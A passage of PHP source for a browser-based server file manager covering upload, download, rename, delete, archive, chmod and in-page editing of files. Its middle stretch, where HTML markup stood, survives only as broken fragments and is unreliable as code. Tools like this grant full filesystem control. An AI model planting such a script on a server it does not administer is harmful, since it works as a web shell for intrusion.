%s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - 